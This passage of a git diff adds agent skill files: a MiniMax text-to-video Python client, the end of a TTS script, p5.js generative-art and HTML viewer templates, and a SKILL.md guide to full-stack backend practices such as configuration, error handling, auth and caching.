p.add_argument("--volume", type=float, default=1.0, help="Volume 0.1-10") + p.add_argument("--pitch", type=int, default=0, help="Pitch -12 to 12") + p.add_argument("--emotion", default="", help="Emotion tag (happy/sad/angry/...)") + p.add_argument("--format", default="mp3", dest="fmt", help="Audio format (mp3/wav/flac)") + p.add_argument("--sample-rate", type=int, default=32000, help="Sample rate") + p.add_argument("--lang", default="auto", help="Language boost") + args = p.parse_args() + + os.makedirs(os.path.dirname(args.output) or ".", exist_ok=True) + + audio = tts( + text=args.text, + voice_id=args.voice, + model=args.model, + speed=args.speed, + volume=args.volume, + pitch=args.pitch, + emotion=args.emotion, + fmt=args.fmt, + sample_rate=args.sample_rate, + language_boost=args.lang, + ) + + with open(args.output, "wb") as f: + f.write(audio) + + print(f"OK: {len(audio)} bytes -> {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/frontend-dev/scripts/minimax_video.py b/skills/frontend-dev/scripts/minimax_video.py new file mode 100755 index 0000000..8fa997c --- /dev/null +++ b/skills/frontend-dev/scripts/minimax_video.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: MIT +""" +MiniMax Text-to-Video — async generation with polling and download. + +Usage: + python minimax_video.py "A cat playing piano" -o cat.mp4 + python minimax_video.py "Ocean waves [Truck left]" -o waves.mp4 --model MiniMax-Hailuo-2.3 --duration 10 + python minimax_video.py "City skyline at sunset [Push in]" -o city.mp4 --resolution 1080P + +Env: MINIMAX_API_KEY (required) +""" + +import os +import sys +import json +import time +import argparse +import requests + +API_KEY = os.getenv("MINIMAX_API_KEY") +API_BASE = "https://api.minimax.io/v1" + + +def _headers(): + if not API_KEY: + raise SystemExit("ERROR: MINIMAX_API_KEY is not set.\n export MINIMAX_API_KEY='your-key'") + return { + "Authorization": f"Bearer {API_KEY}", + "Content-Type": "application/json", + } + + +def _check_resp(data): + base_resp = data.get("base_resp", {}) + code = base_resp.get("status_code", 0) + if code != 0: + msg = base_resp.get("status_msg", "Unknown error") + raise SystemExit(f"API Error [{code}]: {msg}") + + +def create_task( + prompt: str, + model: str = "MiniMax-Hailuo-2.3", + duration: int = 6, + resolution: str = "768P", + prompt_optimizer: bool = True, +) -> str: + """Submit a video generation task. Returns task_id.""" + payload = { + "model": model, + "prompt": prompt, + "duration": duration, + "resolution": resolution, + "prompt_optimizer": prompt_optimizer, + } + + resp = requests.post( + f"{API_BASE}/video_generation", + headers=_headers(), + json=payload, + timeout=30, + ) + resp.raise_for_status() + data = resp.json() + _check_resp(data) + + task_id = data.get("task_id") + if not task_id: + raise SystemExit(f"No task_id in response: {json.dumps(data, indent=2)}") + return task_id + + +def poll_task(task_id: str, interval: int = 10, max_wait: int = 600) -> str: + """Poll task status until Success. Returns file_id.""" + elapsed = 0 + while elapsed < max_wait: + resp = requests.get( + f"{API_BASE}/query/video_generation", + headers=_headers(), + params={"task_id": task_id}, + timeout=30, + ) + resp.raise_for_status() + data = resp.json() + _check_resp(data) + + status = data.get("status", "") + file_id = data.get("file_id", "") + + if status == "Success": + if not file_id: + raise SystemExit("Task succeeded but no file_id returned") + print(f" Done! file_id={file_id}") + return file_id + elif status == "Fail": + raise SystemExit(f"Video generation failed: {json.dumps(data, indent=2)}") + else: + print(f" [{elapsed}s] Status: {status}...") + time.sleep(interval) + elapsed += interval + + raise SystemExit(f"Timeout after {max_wait}s. task_id={task_id}, check manually.") + + +def download_video(file_id: str, output_path: str): + """Retrieve download URL via file_id and save the video.""" + resp = requests.get( + f"{API_BASE}/files/retrieve", + headers=_headers(), + params={"file_id": file_id}, + timeout=30, + ) + resp.raise_for_status() + data = resp.json() + _check_resp(data) + + download_url = data.get("file", {}).get("download_url", "") + if not download_url: + raise SystemExit(f"No download_url in response: {json.dumps(data, indent=2)}") + + print(f" Downloading from {download_url[:80]}...") + video_resp = requests.get(download_url, timeout=300) + video_resp.raise_for_status() + + os.makedirs(os.path.dirname(output_path) or ".", exist_ok=True) + with open(output_path, "wb") as f: + f.write(video_resp.content) + + print(f"OK: {len(video_resp.content)} bytes -> {output_path}") + + +def generate( + prompt: str, + output_path: str, + model: str = "MiniMax-Hailuo-2.3", + duration: int = 6, + resolution: str = "768P", + prompt_optimizer: bool = True, + poll_interval: int = 10, + max_wait: int = 600, +): + """Full pipeline: create task -> poll -> download.""" + print(f"Creating video task...") + print(f" Model: {model} | Duration: {duration}s | Resolution: {resolution}") + print(f" Prompt: {prompt[:100]}{'...' if len(prompt) > 100 else ''}") + + task_id = create_task(prompt, model, duration, resolution, prompt_optimizer) + print(f" task_id={task_id}") + print(f"Waiting for generation...") + + file_id = poll_task(task_id, poll_interval, max_wait) + download_video(file_id, output_path) + + +def main(): + p = argparse.ArgumentParser(description="MiniMax Text-to-Video") + p.add_argument("prompt", help="Video description (max 2000 chars). Use [Camera Command] for camera control.") + p.add_argument("-o", "--output", required=True, help="Output file path (.mp4)") + p.add_argument("--model", default="MiniMax-Hailuo-2.3", + choices=["MiniMax-Hailuo-2.3", "MiniMax-Hailuo-02", "T2V-01-Director", "T2V-01"], + help="Model (default: MiniMax-Hailuo-2.3)") + p.add_argument("--duration", type=int, default=6, choices=[6, 10], help="Duration in seconds (default: 6)") + p.add_argument("--resolution", default="768P", choices=["720P", "768P", "1080P"], help="Resolution (default: 768P)") + p.add_argument("--no-optimize", action="store_true", help="Disable prompt auto-optimization") + p.add_argument("--poll-interval", type=int, default=10, help="Poll interval in seconds (default: 10)") + p.add_argument("--max-wait", type=int, default=600, help="Max wait time in seconds (default: 600)") + args = p.parse_args() + + generate( + prompt=args.prompt, + output_path=args.output, + model=args.model, + duration=args.duration, + resolution=args.resolution, + prompt_optimizer=not args.no_optimize, + poll_interval=args.poll_interval, + max_wait=args.max_wait, + ) + + +if __name__ == "__main__": + main() diff --git a/skills/frontend-dev/templates/generator_template.js b/skills/frontend-dev/templates/generator_template.js new file mode 100644 index 0000000..7f39639 --- /dev/null +++ b/skills/frontend-dev/templates/generator_template.js @@ -0,0 +1,223 @@ +/** + * ═══════════════════════════════════════════════════════════════════════════ + * P5.JS GENERATIVE ART - BEST PRACTICES + * ═══════════════════════════════════════════════════════════════════════════ + * + * This file shows STRUCTURE and PRINCIPLES for p5.js generative art. + * It does NOT prescribe what art you should create. + * + * Your algorithmic philosophy should guide what you build. + * These are just best practices for how to structure your code. + * + * ═══════════════════════════════════════════════════════════════════════════ + */ + +// ============================================================================ +// 1. PARAMETER ORGANIZATION +// ============================================================================ +// Keep all tunable parameters in one object +// This makes it easy to: +// - Connect to UI controls +// - Reset to defaults +// - Serialize/save configurations + +let params = { + // Define parameters that match YOUR algorithm + // Examples (customize for your art): + // - Counts: how many elements (particles, circles, branches, etc.) + // - Scales: size, speed, spacing + // - Probabilities: likelihood of events + // - Angles: rotation, direction + // - Colors: palette arrays + + seed: 12345, + // define colorPalette as an array -- choose whatever colors you'd like ['#d97757', '#6a9bcc', '#788c5d', '#b0aea5'] + // Add YOUR parameters here based on your algorithm +}; + +// ============================================================================ +// 2. SEEDED RANDOMNESS (Critical for reproducibility) +// ============================================================================ +// ALWAYS use seeded random for Art Blocks-style reproducible output + +function initializeSeed(seed) { + randomSeed(seed); + noiseSeed(seed); + // Now all random() and noise() calls will be deterministic +} + +// ============================================================================ +// 3. P5.JS LIFECYCLE +// ============================================================================ + +function setup() { + createCanvas(800, 800); + + // Initialize seed first + initializeSeed(params.seed); + + // Set up your generative system + // This is where you initialize: + // - Arrays of objects + // - Grid structures + // - Initial positions + // - Starting states + + // For static art: call noLoop() at the end of setup + // For animated art: let draw() keep running +} + +function draw() { + // Option 1: Static generation (runs once, then stops) + // - Generate everything in setup() + // - Call noLoop() in setup() + // - draw() doesn't do much or can be empty + + // Option 2: Animated generation (continuous) + // - Update your system each frame + // - Common patterns: particle movement, growth, evolution + // - Can optionally call noLoop() after N frames + + // Option 3: User-triggered regeneration + // - Use noLoop() by default + // - Call redraw() when parameters change +} + +// ============================================================================ +// 4. CLASS STRUCTURE (When you need objects) +// ============================================================================ +// Use classes when your algorithm involves multiple entities +// Examples: particles, agents, cells, nodes, etc. + +class Entity { + constructor() { + // Initialize entity properties + // Use random() here - it will be seeded + } + + update() { + // Update entity state + // This might involve: + // - Physics calculations + // - Behavioral rules + // - Interactions with neighbors + } + + display() { + // Render the entity + // Keep rendering logic separate from update logic + } +} + +// ============================================================================ +// 5. PERFORMANCE CONSIDERATIONS +// ============================================================================ + +// For large numbers of elements: +// - Pre-calculate what you can +// - Use simple collision detection (spatial hashing if needed) +// - Limit expensive operations (sqrt, trig) when possible +// - Consider using p5 vectors efficiently + +// For smooth animation: +// - Aim for 60fps +// - Profile if things are slow +// - Consider reducing particle counts or simplifying calculations + +// ============================================================================ +// 6. UTILITY FUNCTIONS +// ============================================================================ + +// Color utilities +function hexToRgb(hex) { + const result = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(hex); + return result ? { + r: parseInt(result[1], 16), + g: parseInt(result[2], 16), + b: parseInt(result[3], 16) + } : null; +} + +function colorFromPalette(index) { + return params.colorPalette[index % params.colorPalette.length]; +} + +// Mapping and easing +function mapRange(value, inMin, inMax, outMin, outMax) { + return outMin + (outMax - outMin) * ((value - inMin) / (inMax - inMin)); +} + +function easeInOutCubic(t) { + return t < 0.5 ? 4 * t * t * t : 1 - Math.pow(-2 * t + 2, 3) / 2; +} + +// Constrain to bounds +function wrapAround(value, max) { + if (value < 0) return max; + if (value > max) return 0; + return value; +} + +// ============================================================================ +// 7. PARAMETER UPDATES (Connect to UI) +// ============================================================================ + +function updateParameter(paramName, value) { + params[paramName] = value; + // Decide if you need to regenerate or just update + // Some params can update in real-time, others need full regeneration +} + +function regenerate() { + // Reinitialize your generative system + // Useful when parameters change significantly + initializeSeed(params.seed); + // Then regenerate your system +} + +// ============================================================================ +// 8. COMMON P5.JS PATTERNS +// ============================================================================ + +// Drawing with transparency for trails/fading +function fadeBackground(opacity) { + fill(250, 249, 245, opacity); // brand light with alpha + noStroke(); + rect(0, 0, width, height); +} + +// Using noise for organic variation +function getNoiseValue(x, y, scale = 0.01) { + return noise(x * scale, y * scale); +} + +// Creating vectors from angles +function vectorFromAngle(angle, magnitude = 1) { + return createVector(cos(angle), sin(angle)).mult(magnitude); +} + +// ============================================================================ +// 9. EXPORT FUNCTIONS +// ============================================================================ + +function exportImage() { + saveCanvas('generative-art-' + params.seed, 'png'); +} + +// ============================================================================ +// REMEMBER +// ============================================================================ +// +// These are TOOLS and PRINCIPLES, not a recipe. +// Your algorithmic philosophy should guide WHAT you create. +// This structure helps you create it WELL. +// +// Focus on: +// - Clean, readable code +// - Parameterized for exploration +// - Seeded for reproducibility +// - Performant execution +// +// The art itself is entirely up to you! +// +// ============================================================================ \ No newline at end of file diff --git a/skills/frontend-dev/templates/viewer.html b/skills/frontend-dev/templates/viewer.html new file mode 100644 index 0000000..719c6cc --- /dev/null +++ b/skills/frontend-dev/templates/viewer.html @@ -0,0 +1,599 @@ +<!DOCTYPE html> +<!-- + THIS IS A TEMPLATE THAT SHOULD BE USED EVERY TIME AND MODIFIED. + WHAT TO KEEP: + ✓ Overall structure (header, sidebar, main content) + ✓ default branding (colors, fonts, layout) + ✓ Seed navigation section (always include this) + ✓ Self-contained artifact (everything inline) + + WHAT TO CREATIVELY EDIT: + ✗ The p5.js algorithm (implement YOUR vision) + ✗ The parameters (define what YOUR art needs) + ✗ The UI controls (match YOUR parameters) + + Let your philosophy guide the implementation. + The world is your oyster - be creative! +--> +<html lang="en"> +<head> + <meta charset="UTF-8"> + <meta name="viewport" content="width=device-width, initial-scale=1.0"> + <title>Generative Art Viewer + + + + + + + +
+ + + + +
+
+
Initializing generative art...
+
+
+
+ + + + \ No newline at end of file diff --git a/skills/fullstack-dev/SKILL.md b/skills/fullstack-dev/SKILL.md new file mode 100644 index 0000000..07abbf9 --- /dev/null +++ b/skills/fullstack-dev/SKILL.md @@ -0,0 +1,1037 @@ +--- +name: fullstack-dev +description: | + Full-stack backend architecture and frontend-backend integration guide. + TRIGGER when: building a full-stack app, creating REST API with frontend, scaffolding backend service, + building todo app, building CRUD app, building real-time app, building chat app, + Express + React, Next.js API, Node.js backend, Python backend, Go backend, + designing service layers, implementing error handling, managing config/auth, + setting up API clients, implementing auth flows, handling file uploads, + adding real-time features (SSE/WebSocket), hardening for production. + DO NOT TRIGGER when: pure frontend UI work, pure CSS/styling, database schema only. +license: MIT +metadata: + category: full-stack + version: "1.0.0" + sources: + - The Twelve-Factor App (12factor.net) + - Clean Architecture (Robert C. Martin) + - Domain-Driven Design (Eric Evans) + - Patterns of Enterprise Application Architecture (Martin Fowler) + - Martin Fowler (Testing Pyramid, Contract Tests) + - Google SRE Handbook (Release Engineering) + - ThoughtWorks Technology Radar +--- + +# Full-Stack Development Practices + +## MANDATORY WORKFLOW — Follow These Steps In Order + +**When this skill is triggered, you MUST follow this workflow before writing any code.** + +### Step 0: Gather Requirements + +Before scaffolding anything, ask the user to clarify (or infer from context): + +1. **Stack**: Language/framework for backend and frontend (e.g., Express + React, Django + Vue, Go + HTMX) +2. **Service type**: API-only, full-stack monolith, or microservice? +3. **Database**: SQL (PostgreSQL, SQLite, MySQL) or NoSQL (MongoDB, Redis)? +4. **Integration**: REST, GraphQL, tRPC, or gRPC? +5. **Real-time**: Needed? If yes — SSE, WebSocket, or polling? +6. **Auth**: Needed? If yes — JWT, session, OAuth, or third-party (Clerk, Auth.js)? + +If the user has already specified these in their request, skip asking and proceed. + +### Step 1: Architectural Decisions + +Based on requirements, make and state these decisions before coding: + +| Decision | Options | Reference | +|----------|---------|-----------| +| Project structure | Feature-first (recommended) vs layer-first | [Section 1](#1-project-structure--layering-critical) | +| API client approach | Typed fetch / React Query / tRPC / OpenAPI codegen | [Section 5](#5-api-client-patterns-medium) | +| Auth strategy | JWT + refresh / session / third-party | [Section 6](#6-authentication--middleware-high) | +| Real-time method | Polling / SSE / WebSocket | [Section 11](#11-real-time-patterns-medium) | +| Error handling | Typed error hierarchy + global handler | [Section 3](#3-error-handling--resilience-high) | + +Briefly explain each choice (1 sentence per decision). + +### Step 2: Scaffold with Checklist + +Use the appropriate checklist below. Ensure ALL checked items are implemented — do not skip any. + +### Step 3: Implement Following Patterns + +Write code following the patterns in this document. Reference specific sections as you implement each part. + +### Step 4: Test & Verify + +After implementation, run these checks before claiming completion: + +1. **Build check**: Ensure both backend and frontend compile without errors + ```bash + # Backend + cd server && npm run build + # Frontend + cd client && npm run build + ``` +2. **Start & smoke test**: Start the server, verify key endpoints return expected responses + ```bash + # Start server, then test + curl http://localhost:3000/health + curl http://localhost:3000/api/ + ``` +3. **Integration check**: Verify frontend can connect to backend (CORS, API base URL, auth flow) +4. **Real-time check** (if applicable): Open two browser tabs, verify changes sync + +If any check fails, fix the issue before proceeding. + +### Step 5: Handoff Summary + +Provide a brief summary to the user: + +- **What was built**: List of implemented features and endpoints +- **How to run**: Exact commands to start backend and frontend +- **What's missing / next steps**: Any deferred items, known limitations, or recommended improvements +- **Key files**: List the most important files the user should know about + +--- + +## Scope + +**USE this skill when:** +- Building a full-stack application (backend + frontend) +- Scaffolding a new backend service or API +- Designing service layers and module boundaries +- Implementing database access, caching, or background jobs +- Writing error handling, logging, or configuration management +- Reviewing backend code for architectural issues +- Hardening for production +- Setting up API clients, auth flows, file uploads, or real-time features + +**NOT for:** +- Pure frontend/UI concerns (use your frontend framework's docs) +- Pure database schema design without backend context + +--- + +## Quick Start — New Backend Service Checklist + +- [ ] Project scaffolded with **feature-first** structure +- [ ] Configuration **centralized**, env vars **validated at startup** (fail fast) +- [ ] **Typed error hierarchy** defined (not generic `Error`) +- [ ] **Global error handler** middleware +- [ ] **Structured JSON logging** with request ID propagation +- [ ] Database: **migrations** set up, **connection pooling** configured +- [ ] **Input validation** on all endpoints (Zod / Pydantic / Go validator) +- [ ] **Authentication middleware** in place +- [ ] **Health check** endpoints (`/health`, `/ready`) +- [ ] **Graceful shutdown** handling (SIGTERM) +- [ ] **CORS** configured (explicit origins, not `*`) +- [ ] **Security headers** (helmet or equivalent) +- [ ] `.env.example` committed (no real secrets) + +## Quick Start — Frontend-Backend Integration Checklist + +- [ ] **API client** configured (typed fetch wrapper, React Query, tRPC, or OpenAPI generated) +- [ ] **Base URL** from environment variable (not hardcoded) +- [ ] **Auth token** attached to requests automatically (interceptor / middleware) +- [ ] **Error handling** — API errors mapped to user-facing messages +- [ ] **Loading states** handled (skeleton/spinner, not blank screen) +- [ ] **Type safety** across the boundary (shared types, OpenAPI, or tRPC) +- [ ] **CORS** configured with explicit origins (not `*` in production) +- [ ] **Refresh token** flow implemented (httpOnly cookie + transparent retry on 401) + +--- + +## Quick Navigation + +| Need to… | Jump to | +|----------|---------| +| Organize project folders | [1. Project Structure](#1-project-structure--layering-critical) | +| Manage config + secrets | [2. Configuration](#2-configuration--environment-critical) | +| Handle errors properly | [3. Error Handling](#3-error-handling--resilience-high) | +| Write database code | [4. Database Access Patterns](#4-database-access-patterns-high) | +| Set up API client from frontend | [5. API Client Patterns](#5-api-client-patterns-medium) | +| Add auth middleware | [6. Auth & Middleware](#6-authentication--middleware-high) | +| Set up logging | [7. Logging & Observability](#7-logging--observability-medium-high) | +| Add background jobs | [8. Background Jobs](#8-background-jobs--async-medium) | +| Implement caching | [9. Caching](#9-caching-patterns-medium) | +| Upload files (presigned URL, multipart) | [10. File Upload Patterns](#10-file-upload-patterns-medium) | +| Add real-time features (SSE, WebSocket) | [11. Real-Time Patterns](#11-real-time-patterns-medium) | +| Handle API errors in frontend UI | [12. Cross-Boundary Error Handling](#12-cross-boundary-error-handling-medium) | +| Harden for production | [13. Production Hardening](#13-production-hardening-medium) | +| Design API endpoints | [API Design](references/api-design.md) | +| Design database schema | [Database Schema](references/db-schema.md) | +| Auth flow (JWT, refresh, Next.js SSR, RBAC) | [references/auth-flow.md](references/auth-flow.md) | +| CORS, env vars, environment management | [references/environment-management.md](references/environment-management.md) | + +--- + +## Core Principles (7 Iron Rules) + +``` +1. ✅ Organize by FEATURE, not by technical layer +2. ✅ Controllers never contain business logic +3. ✅ Services never import HTTP request/response types +4. ✅ All config from env vars, validated at startup, fail fast +5. ✅ Every error is typed, logged, and returns consistent format +6. ✅ All input validated at the boundary — trust nothing from client +7. ✅ Structured JSON logging with request ID — not console.log +``` + +--- + +## 1. Project Structure & Layering (CRITICAL) + +### Feature-First Organization + +``` +✅ Feature-first ❌ Layer-first +src/ src/ + orders/ controllers/ + order.controller.ts order.controller.ts + order.service.ts user.controller.ts + order.repository.ts services/ + order.dto.ts order.service.ts + order.test.ts user.service.ts + users/ repositories/ + user.controller.ts ... + user.service.ts + shared/ + database/ + middleware/ +``` + +### Three-Layer Architecture + +``` +Controller (HTTP) → Service (Business Logic) → Repository (Data Access) +``` + +| Layer | Responsibility | ❌ Never | +|-------|---------------|---------| +| Controller | Parse request, validate, call service, format response | Business logic, DB queries | +| Service | Business rules, orchestration, transaction mgmt | HTTP types (req/res), direct DB | +| Repository | Database queries, external API calls | Business logic, HTTP types | + +### Dependency Injection (All Languages) + +**TypeScript:** +```typescript +class OrderService { + constructor( + private readonly orderRepo: OrderRepository, // ✅ injected interface + private readonly emailService: EmailService, + ) {} +} +``` + +**Python:** +```python +class OrderService: + def __init__(self, order_repo: OrderRepository, email_service: EmailService): + self.order_repo = order_repo # ✅ injected + self.email_service = email_service +``` + +**Go:** +```go +type OrderService struct { + orderRepo OrderRepository // ✅ interface + emailService EmailService +} + +func NewOrderService(repo OrderRepository, email EmailService) *OrderService { + return &OrderService{orderRepo: repo, emailService: email} +} +``` + +--- + +## 2. Configuration & Environment (CRITICAL) + +### Centralized, Typed, Fail-Fast + +**TypeScript:** +```typescript +const config = { + port: parseInt(process.env.PORT || '3000', 10), + database: { url: requiredEnv('DATABASE_URL'), poolSize: intEnv('DB_POOL_SIZE', 10) }, + auth: { jwtSecret: requiredEnv('JWT_SECRET'), expiresIn: process.env.JWT_EXPIRES_IN || '1h' }, +} as const; + +function requiredEnv(name: string): string { + const value = process.env[name]; + if (!value) throw new Error(`Missing required env var: ${name}`); // fail fast + return value; +} +``` + +**Python:** +```python +from pydantic_settings import BaseSettings + +class Settings(BaseSettings): + database_url: str # required — app won't start without it + jwt_secret: str # required + port: int = 3000 # optional with default + db_pool_size: int = 10 + class Config: + env_file = ".env" + +settings = Settings() # fails fast if DATABASE_URL missing +``` + +### Rules + +``` +✅ All config via environment variables (Twelve-Factor) +✅ Validate required vars at startup — fail fast +✅ Type-cast at config layer, not at usage sites +✅ Commit .env.example with dummy values + +❌ Never hardcode secrets, URLs, or credentials +❌ Never commit .env files +❌ Never scatter process.env / os.environ throughout code +``` + +--- + +## 3. Error Handling & Resilience (HIGH) + +### Typed Error Hierarchy + +```typescript +// Base (TypeScript) +class AppError extends Error { + constructor( + message: string, + public readonly code: string, + public readonly statusCode: number, + public readonly isOperational: boolean = true, + ) { super(message); } +} +class NotFoundError extends AppError { + constructor(resource: string, id: string) { + super(`${resource} not found: ${id}`, 'NOT_FOUND', 404); + } +} +class ValidationError extends AppError { + constructor(public readonly errors: FieldError[]) { + super('Validation failed', 'VALIDATION_ERROR', 422); + } +} +``` + +```python +# Base (Python) +class AppError(Exception): + def __init__(self, message: str, code: str, status_code: int): + self.message, self.code, self.status_code = message, code, status_code + +class NotFoundError(AppError): + def __init__(self, resource: str, id: str): + super().__init__(f"{resource} not found: {id}", "NOT_FOUND", 404) +``` + +### Global Error Handler + +```typescript +// TypeScript (Express) +app.use((err, req, res, next) => { + if (err instanceof AppError && err.isOperational) { + return res.status(err.statusCode).json({ + title: err.code, status: err.statusCode, + detail: err.message, request_id: req.id, + }); + } + logger.error('Unexpected error', { error: err.message, stack: err.stack, request_id: req.id }); + res.status(500).json({ title: 'Internal Error', status: 500, request_id: req.id }); +}); +``` + +### Rules + +``` +✅ Typed, domain-specific error classes +✅ Global error handler catches everything +✅ Operational errors → structured response +✅ Programming errors → log + generic 500 +✅ Retry transient failures with exponential backoff + +❌ Never catch and ignore errors silently +❌ Never return stack traces to client +❌ Never throw generic Error('something') +``` + +--- + +## 4. Database Access Patterns (HIGH) + +### Migrations Always + +```bash +# TypeScript (Prisma) # Python (Alembic) # Go (golang-migrate) +npx prisma migrate dev alembic revision --autogenerate migrate -source file://migrations +npx prisma migrate deploy alembic upgrade head migrate -database $DB up +``` + +``` +✅ Schema changes via migrations, never manual SQL +✅ Migrations must be reversible +✅ Review migration SQL before production +❌ Never modify production schema manually +``` + +### N+1 Prevention + +```typescript +// ❌ N+1: 1 query + N queries +const orders = await db.order.findMany(); +for (const o of orders) { o.items = await db.item.findMany({ where: { orderId: o.id } }); } + +// ✅ Single JOIN query +const orders = await db.order.findMany({ include: { items: true } }); +``` + +### Transactions for Multi-Step Writes + +```typescript +await db.$transaction(async (tx) => { + const order = await tx.order.create({ data: orderData }); + await tx.inventory.decrement({ productId, quantity }); + await tx.payment.create({ orderId: order.id, amount }); +}); +``` + +### Connection Pooling + +Pool size = `(CPU cores × 2) + spindle_count` (start with 10-20). Always set connection timeout. Use PgBouncer for serverless. + +--- + +## 5. API Client Patterns (MEDIUM) + +The "glue layer" between frontend and backend. Choose the approach that fits your team and stack. + +### Option A: Typed Fetch Wrapper (Simple, No Dependencies) + +```typescript +// lib/api-client.ts +const BASE_URL = process.env.NEXT_PUBLIC_API_URL || 'http://localhost:3001'; + +class ApiError extends Error { + constructor(public status: number, public body: any) { + super(body?.detail || body?.message || `API error ${status}`); + } +} + +async function api(path: string, options: RequestInit = {}): Promise { + const token = getAuthToken(); // from cookie / memory / context + + const res = await fetch(`${BASE_URL}${path}`, { + ...options, + headers: { + 'Content-Type': 'application/json', + ...(token ? { Authorization: `Bearer ${token}` } : {}), + ...options.headers, + }, + }); + + if (!res.ok) { + const body = await res.json().catch(() => null); + throw new ApiError(res.status, body); + } + + if (res.status === 204) return undefined as T; + return res.json(); +} + +export const apiClient = { + get: (path: string) => api(path), + post: (path: string, data: unknown) => api(path, { method: 'POST', body: JSON.stringify(data) }), + put: (path: string, data: unknown) => api(path, { method: 'PUT', body: JSON.stringify(data) }), + patch: (path: string, data: unknown) => api(path, { method: 'PATCH', body: JSON.stringify(data) }), + delete: (path: string) => api(path, { method: 'DELETE' }), +}; +``` + +### Option B: React Query + Typed Client (Recommended for React) + +```typescript +// hooks/use-orders.ts +import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query'; +import { apiClient } from '@/lib/api-client'; + +interface Order { id: string; total: number; status: string; } +interface CreateOrderInput { items: { productId: string; quantity: number }[] } + +export function useOrders() { + return useQuery({ + queryKey: ['orders'], + queryFn: () => apiClient.get<{ data: Order[] }>('/api/orders'), + staleTime: 1000 * 60, // 1 min + }); +} + +export function useCreateOrder() { + const queryClient = useQueryClient(); + return useMutation({ + mutationFn: (data: CreateOrderInput) => + apiClient.post<{ data: Order }>('/api/orders', data), + onSuccess: () => { + queryClient.invalidateQueries({ queryKey: ['orders'] }); + }, + }); +} + +// Usage in component: +function OrdersPage() { + const { data, isLoading, error } = useOrders(); + const createOrder = useCreateOrder(); + if (isLoading) return ; + if (error) return ; + // ... +} +``` + +### Option C: tRPC (Same Team Owns Both Sides) + +```typescript +// server: trpc/router.ts +export const appRouter = router({ + orders: router({ + list: publicProcedure.query(async () => { + return db.order.findMany({ include: { items: true } }); + }), + create: protectedProcedure + .input(z.object({ items: z.array(orderItemSchema) })) + .mutation(async ({ input, ctx }) => { + return orderService.create(ctx.user.id, input); + }), + }), +}); +export type AppRouter = typeof appRouter; + +// client: automatic type safety, no code generation +const { data } = trpc.orders.list.useQuery(); +const createOrder = trpc.orders.create.useMutation(); +``` + +### Option D: OpenAPI Generated Client (Public / Multi-Consumer APIs) + +```bash +npx openapi-typescript-codegen \ + --input http://localhost:3001/api/openapi.json \ + --output src/generated/api \ + --client axios +``` + +### Decision: Which API Client? + +| Approach | When | Type Safety | Effort | +|----------|------|-------------|--------| +| Typed fetch wrapper | Simple apps, small teams | Manual types | Low | +| React Query + fetch | React apps, server state | Manual types | Medium | +| tRPC | Same team, TypeScript both sides | Automatic | Low | +| OpenAPI generated | Public API, multi-consumer | Automatic | Medium | +| GraphQL codegen | GraphQL APIs | Automatic | Medium | + +--- + +## 6. Authentication & Middleware (HIGH) + +> **Full reference:** [references/auth-flow.md](references/auth-flow.md) — JWT bearer flow, automatic token refresh, Next.js server-side auth, RBAC pattern, backend middleware order. + +### Standard Middleware Order + +``` +Request → 1.RequestID → 2.Logging → 3.CORS → 4.RateLimit → 5.BodyParse + → 6.Auth → 7.Authz → 8.Validation → 9.Handler → 10.ErrorHandler → Response +``` + +### JWT Rules + +``` +✅ Short expiry access token (15min) + refresh token (server-stored) +✅ Minimal claims: userId, roles (not entire user object) +✅ Rotate signing keys periodically + +❌ Never store tokens in localStorage (XSS risk) +❌ Never pass tokens in URL query params +``` + +### RBAC Pattern + +```typescript +function authorize(...roles: Role[]) { + return (req, res, next) => { + if (!req.user) throw new UnauthorizedError(); + if (!roles.some(r => req.user.roles.includes(r))) throw new ForbiddenError(); + next(); + }; +} +router.delete('/users/:id', authenticate, authorize('admin'), deleteUser); +``` + +### Auth Token Automatic Refresh + +```typescript +// lib/api-client.ts — transparent refresh on 401 +async function apiWithRefresh(path: string, options: RequestInit = {}): Promise { + try { + return await api(path, options); + } catch (err) { + if (err instanceof ApiError && err.status === 401) { + const refreshed = await api<{ accessToken: string }>('/api/auth/refresh', { + method: 'POST', + credentials: 'include', // send httpOnly cookie + }); + setAuthToken(refreshed.accessToken); + return api(path, options); // retry + } + throw err; + } +} +``` + +--- + +## 7. Logging & Observability (MEDIUM-HIGH) + +### Structured JSON Logging + +```typescript +// ✅ Structured — parseable, filterable, alertable +logger.info('Order created', { + orderId: order.id, userId: user.id, total: order.total, + items: order.items.length, duration_ms: Date.now() - startTime, +}); +// Output: {"level":"info","msg":"Order created","orderId":"ord_123",...} + +// ❌ Unstructured — useless at scale +console.log(`Order created for user ${user.id} with total ${order.total}`); +``` + +### Log Levels + +| Level | When | Production? | +|-------|------|------------| +| error | Requires immediate attention | ✅ Always | +| warn | Unexpected but handled | ✅ Always | +| info | Normal operations, audit trail | ✅ Always | +| debug | Dev troubleshooting | ❌ Dev only | + +### Rules + +``` +✅ Request ID in every log entry (propagated via middleware) +✅ Log at layer boundaries (request in, response out, external call) +❌ Never log passwords, tokens, PII, or secrets +❌ Never use console.log in production code +``` + +--- + +## 8. Background Jobs & Async (MEDIUM) + +### Rules + +``` +✅ All jobs must be IDEMPOTENT (same job running twice = same result) +✅ Failed jobs → retry (max 3) → dead letter queue → alert +✅ Workers run as SEPARATE processes (not threads in API server) + +❌ Never put long-running tasks in request handlers +❌ Never assume job runs exactly once +``` + +### Idempotent Job Pattern + +```typescript +async function processPayment(data: { orderId: string }) { + const order = await orderRepo.findById(data.orderId); + if (order.paymentStatus === 'completed') return; // already processed + await paymentGateway.charge(order); + await orderRepo.updatePaymentStatus(order.id, 'completed'); +} +``` + +--- + +## 9. Caching Patterns (MEDIUM) + +### Cache-Aside (Lazy Loading) + +```typescript +async function getUser(id: string): Promise { + const cached = await redis.get(`user:${id}`); + if (cached) return JSON.parse(cached); + + const user = await userRepo.findById(id); + if (!user) throw new NotFoundError('User', id); + + await redis.set(`user:${id}`, JSON.stringify(user), 'EX', 900); // 15min TTL + return user; +} +``` + +### Rules + +``` +✅ ALWAYS set TTL — never cache without expiry +✅ Invalidate on write (delete cache key after update) +✅ Use cache for reads, never for authoritative state + +❌ Never cache without TTL (stale data is worse than slow data) +``` + +| Data Type | Suggested TTL | +|-----------|---------------| +| User profile | 5-15 min | +| Product catalog | 1-5 min | +| Config / feature flags | 30-60 sec | +| Session | Match session duration | + +--- + 